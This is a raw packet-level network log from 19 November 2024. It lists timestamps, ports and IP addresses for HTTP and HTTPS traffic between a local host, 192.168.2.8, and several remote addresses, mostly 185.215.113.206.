Nov 19, 2024 18:00:47.833861113 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.833873034 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.833883047 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.833884001 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.833897114 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.833913088 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.833925009 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.833955050 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.834007025 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.834127903 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.834139109 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.834148884 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.834156036 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.834161043 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.834166050 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.834172964 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.834189892 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.834197998 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.834201097 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.834212065 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.834222078 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.834238052 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.834253073 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.834255934 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.834269047 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.834279060 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.834281921 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.834291935 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.834301949 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.834418058 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.834490061 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.834501982 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.834520102 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.834530115 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.834531069 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.834542036 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.834547997 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.834553957 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.834561110 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.834572077 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.834583998 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.834594011 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.834599972 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.834609032 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.834615946 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.834623098 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.834633112 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.834634066 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.834645987 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.834657907 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.834659100 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.834672928 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.834682941 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.834702969 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.834734917 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.839111090 CET	443	49815	20.75.60.91	192.168.2.8
Nov 19, 2024 18:00:47.844643116 CET	49815	443	192.168.2.8	20.75.60.91
Nov 19, 2024 18:00:47.844652891 CET	443	49815	20.75.60.91	192.168.2.8
Nov 19, 2024 18:00:47.845052958 CET	443	49815	20.75.60.91	192.168.2.8
Nov 19, 2024 18:00:47.845582962 CET	49815	443	192.168.2.8	20.75.60.91
Nov 19, 2024 18:00:47.845649004 CET	443	49815	20.75.60.91	192.168.2.8
Nov 19, 2024 18:00:47.848603010 CET	49815	443	192.168.2.8	20.75.60.91
Nov 19, 2024 18:00:47.859327078 CET	443	49819	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.867927074 CET	49814	443	192.168.2.8	108.139.47.92
Nov 19, 2024 18:00:47.867949009 CET	443	49814	108.139.47.92	192.168.2.8
Nov 19, 2024 18:00:47.895323992 CET	443	49815	20.75.60.91	192.168.2.8
Nov 19, 2024 18:00:47.916379929 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.916408062 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.916415930 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.916452885 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.916461945 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.916471004 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.916486025 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.916512966 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.916528940 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.916528940 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.916552067 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.919418097 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.919455051 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.919487953 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.919491053 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.919518948 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.919527054 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.919536114 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.919562101 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.919569016 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.919601917 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.919615030 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.919648886 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.919656992 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.919678926 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.919683933 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.919723988 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.920203924 CET	443	49819	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.920264006 CET	443	49819	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.920324087 CET	49819	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.920336008 CET	443	49819	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.920416117 CET	443	49819	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.920490026 CET	49819	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.920496941 CET	443	49819	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.920835972 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.920909882 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.920991898 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.921027899 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.921040058 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.921065092 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.921066046 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.921138048 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.921271086 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.921307087 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.921312094 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.921340942 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.921348095 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.921376944 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.921381950 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.921407938 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.921448946 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.921463966 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.921503067 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.921516895 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.921550989 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.921555996 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.921586037 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.921587944 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.921621084 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.921622992 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.921658993 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.921659946 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.921689034 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.921700001 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.921727896 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.921915054 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.921930075 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.921968937 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.921972990 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.921977997 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.922009945 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.922724009 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.922775030 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.922816992 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.922827005 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.922866106 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.922882080 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.922916889 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.922949076 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.922954082 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.922971010 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.922985077 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.922993898 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.923019886 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.923028946 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.923057079 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.923067093 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.923091888 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.923131943 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.923144102 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.923177958 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.923212051 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.923217058 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.923247099 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.923280001 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.923295021 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.923321962 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.923528910 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.923557997 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.923600912 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.923602104 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.923643112 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.923650026 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.923712015 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.923712015 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.923763990 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.923770905 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.923800945 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.923830032 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.923849106 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.923852921 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.923887014 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.923918009 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.923922062 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.923935890 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.923963070 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.923974991 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.924029112 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.924062014 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.924067974 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.924098015 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.924132109 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.924150944 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.924191952 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.924209118 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.924242973 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.924257994 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.924278021 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.924277067 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.924312115 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.924316883 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.924346924 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.924351931 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.924382925 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.924416065 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.924429893 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.924452066 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.924460888 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.924488068 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.924527884 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.924540043 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.924575090 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.924586058 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.924626112 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.924655914 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.924673080 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.924679041 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.924731016 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.924765110 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.924798965 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.924813986 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.924813986 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.924839973 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.924851894 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.924885988 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.924896955 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.924923897 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.924942970 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.924984932 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.924997091 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925035954 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925039053 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.925070047 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925074100 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.925103903 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925105095 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.925139904 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.925153971 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925188065 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925193071 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.925225019 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.925240993 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925275087 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925280094 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.925308943 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925319910 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.925344944 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925344944 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.925379992 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925400019 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.925415039 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925421953 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.925448895 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925455093 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.925483942 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925488949 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.925513983 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925527096 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.925549030 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925551891 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.925575018 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925587893 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925587893 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.925604105 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925606012 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.925620079 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925621986 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.925636053 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925641060 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.925651073 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925657034 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.925668955 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925688028 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925688028 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.925693989 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.925704002 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925705910 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.925721884 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925725937 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.925738096 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925749063 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.925753117 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925762892 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.925770998 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925779104 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.925795078 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925797939 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.925813913 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925827980 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925842047 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925848007 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.925858021 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925860882 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.925869942 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925882101 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925888062 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.925894022 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925904989 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925904989 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.925916910 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925920010 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.925930977 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925941944 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925944090 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.925954103 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925961018 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.925966978 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925977945 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.925985098 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.925992012 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.926004887 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.926011086 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.926017046 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.926026106 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.926059008 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.933758974 CET	49825	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:47.933779001 CET	443	49825	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:47.933845997 CET	49825	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:47.934308052 CET	49825	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:47.934320927 CET	443	49825	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:47.940100908 CET	49826	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:47.940129995 CET	443	49826	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:47.940191031 CET	49826	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:47.940921068 CET	49826	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:47.940937042 CET	443	49826	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:47.957808018 CET	443	49818	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.957834959 CET	443	49818	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.957849979 CET	443	49818	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.957943916 CET	49818	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.957981110 CET	443	49818	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.958028078 CET	49818	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.962452888 CET	49827	443	192.168.2.8	20.110.205.119
Nov 19, 2024 18:00:47.962467909 CET	443	49827	20.110.205.119	192.168.2.8
Nov 19, 2024 18:00:47.962584972 CET	49827	443	192.168.2.8	20.110.205.119
Nov 19, 2024 18:00:47.962954998 CET	443	49818	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.962975025 CET	443	49818	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.962994099 CET	49827	443	192.168.2.8	20.110.205.119
Nov 19, 2024 18:00:47.963000059 CET	443	49827	20.110.205.119	192.168.2.8
Nov 19, 2024 18:00:47.963037014 CET	49818	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.963059902 CET	443	49818	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.963243961 CET	49818	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.963673115 CET	443	49818	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.963728905 CET	49818	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.003572941 CET	443	49819	104.117.182.25	192.168.2.8
